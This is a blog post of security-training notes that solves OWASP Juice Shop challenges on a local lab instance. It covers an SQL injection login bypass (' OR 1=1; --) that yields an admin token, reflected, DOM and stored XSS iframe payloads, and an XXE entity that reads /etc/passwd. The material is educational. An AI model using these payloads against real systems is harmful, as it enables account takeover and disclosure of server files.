Security Training Day 2

My study notes of security training (day 2), including some ways of SQL injection, Cross-site scripting (XSS), and XML External Entity (XXE).


This post is mainly a review of what have been taught during the security training in day 2. In aims to share knowledge and make us aware of the importance of security. After reading this article, you will understand:

  • SQL Injection
  • XSS: Cross-Site Scripting
  • XXE: XML External Entity

Reminder: the security tools used here are ZAP Proxy and Juice Shop – probably the most modern and sophisticated insecure web application.

SQL Injection

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. This section solves SQL Injection challenge in Juice Shop.

Login Admin. Log in with the administrator’s user account. Firstly, go to login page http://localhost:3000/#/login, enter an arbitrary login and password, such as and 123. UI shows “Invalid user or password”. Now, inspect HTTP request and response in ZAP Proxy where the url of the entry is http://localhost:3000/rest/user/login. Open request editor and edit the request body (excerpt 1). By the way, we can also imagine the SQL query should be similar to the following form (excerpt 2).

  "email" : "",
  "password" : "123"
  FROM Users
 WHERE email='' AND pass='123'

The SQL injection can be done as the first query parameter email. Use simple quote ' to end the quote (just in case), use criterion OR 1=1 to ensure the WHERE clause is always true and does not depend on email value, and use comment -- to comment the rest of the query. So the modification and expected SQL looks like the following:

  "email" : "' OR 1=1; --",
  "password" : "123"
  FROM Users
 WHERE email='' OR 1=1; -- ' AND pass='123'

The response returns the email of admin account with the correct token:

  "authentication" : {
    "token" : "eyJhbG...",
    "bid" : 1,
    "umail" : "admin@juice-sh.op"

Understand the usage of token eyJhbG... by inspecting the source code of main.js, and finds out that user token will be saved in browser’s local storage after login action:

this.userService.login(this.user).subscribe(function (n) {
  localStorage.setItem('token', n.token),
  l.cookieService.put('token', n.token),
}, function (n) { ... }

Therefore, we can set token to local storage manually to be able to simulate the login action in browser console. After that, the login is successful as expected.

localStorage.setItem('token', 'eyJhbG...');

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. There’re 3 types of XSS:

  • Reflected XSS
  • Persisted XSS
  • DOM Based XSS

Different XSS filter can be found at OWASP - XSS Filter Evasion CheatSheet. This section solves different XSS challenges in Juice Shop.

XSS Tier 0. Perform a reflected XSS attack with <iframe src="javascript:alert(`xss`)">. This can be done by providing a malicious query parameter Order ID (id) in Track Result module http://localhost:3000/#/track-result?id=myOrder. Using the following query param will trigger a reflected XSS (value is url-encoded):


XSS Tier 1. Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">. This can be done by manipulating the query param q in “search” module (http://localhost:3000/#/search?q=apple). The result is not escaped, which leads to XSS.

XSS Tier 1

XSS Tier 2. Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a client-side security mechanism. This can be done by manipulating the user creation form. Go to register page http://localhost:3000/#/register and enter username / password as and 12345. Then, modify the HTTP request in ZAP Proxy and resend the request to server:

  "email" : "<iframe src=\"javascript:alert(`xss`)\">",
  "password" : "12345",
  "passwordRepeat" : "12345",
  "securityQuestion" : {
    "id" : 1,
    "question" : "Your eldest siblings middle name?",
    "createdAt" : "2019-01-23T19:56:54.665Z",
    "updatedAt" : "2019-01-23T19:56:54.665Z"
  "securityAnswer" : "12345"

When internal users visit the admin page http://localhost:3000/#/administration, an XSS will be triggered.

XML External Entity (XXE) Processing

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. This section solves XXE challenge in Juice Shop.

XXE Tier 1. Retrieve the content of C:\Windows\system.ini or /etc/passwd from the server. First of all, we need to feed an entry-point for uploading files, so that our XML file can be read by the server. One possibility is via Customer Complain http://localhost:3000/#/complain, where a file can be uploaded. By default, the input element only accepts file types .pdf and .zip. This check can be skipped by choosing format option “All Support Types” when browsing files (maybe different according to OS, I’m using macOS).

<input _ngcontent-c17=""

Then, choose a file to upload. For example, ~/feedback.xml:


Once uploaded, find out the server response and check if it reads the value. From the response of http://localhost:3000/file-upload, we can extract the following value:

Error: B2B customer complaints via file upload have been deprecated for security reasons: <?xml version="1.0" encoding="UTF-8"?><msg>Hi</msg> (feedback.xml)

As you can see, the content of feedback has been extracted successfully. Further more, the content has been expanded: XML header has been added. We can suppose that XXE is possible in this case. Now, change the content of XML to the following, where system entity xxe is defined and discloses the system password file:

<!DOCTYPE msg [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Upload the same file again with the new content, then inspect the HTTP response again:

Error: B2B customer complaints via file upload have been deprecated for security reasons: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE msg [<!ELEMENT msg ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><msg>### User Database# # Note that this file is consulted directly only when the sys… (feedback.xml)

The content is retrieved successfully.


In this article, we saw the definition and challenges of three common security problems: SQL Injection, Cross-Site Scripting (XSS) and XML External Entity (XXE) processing. Through these challenges, we saw the impact of security problems. Hope you enjoy this article, see you the next time!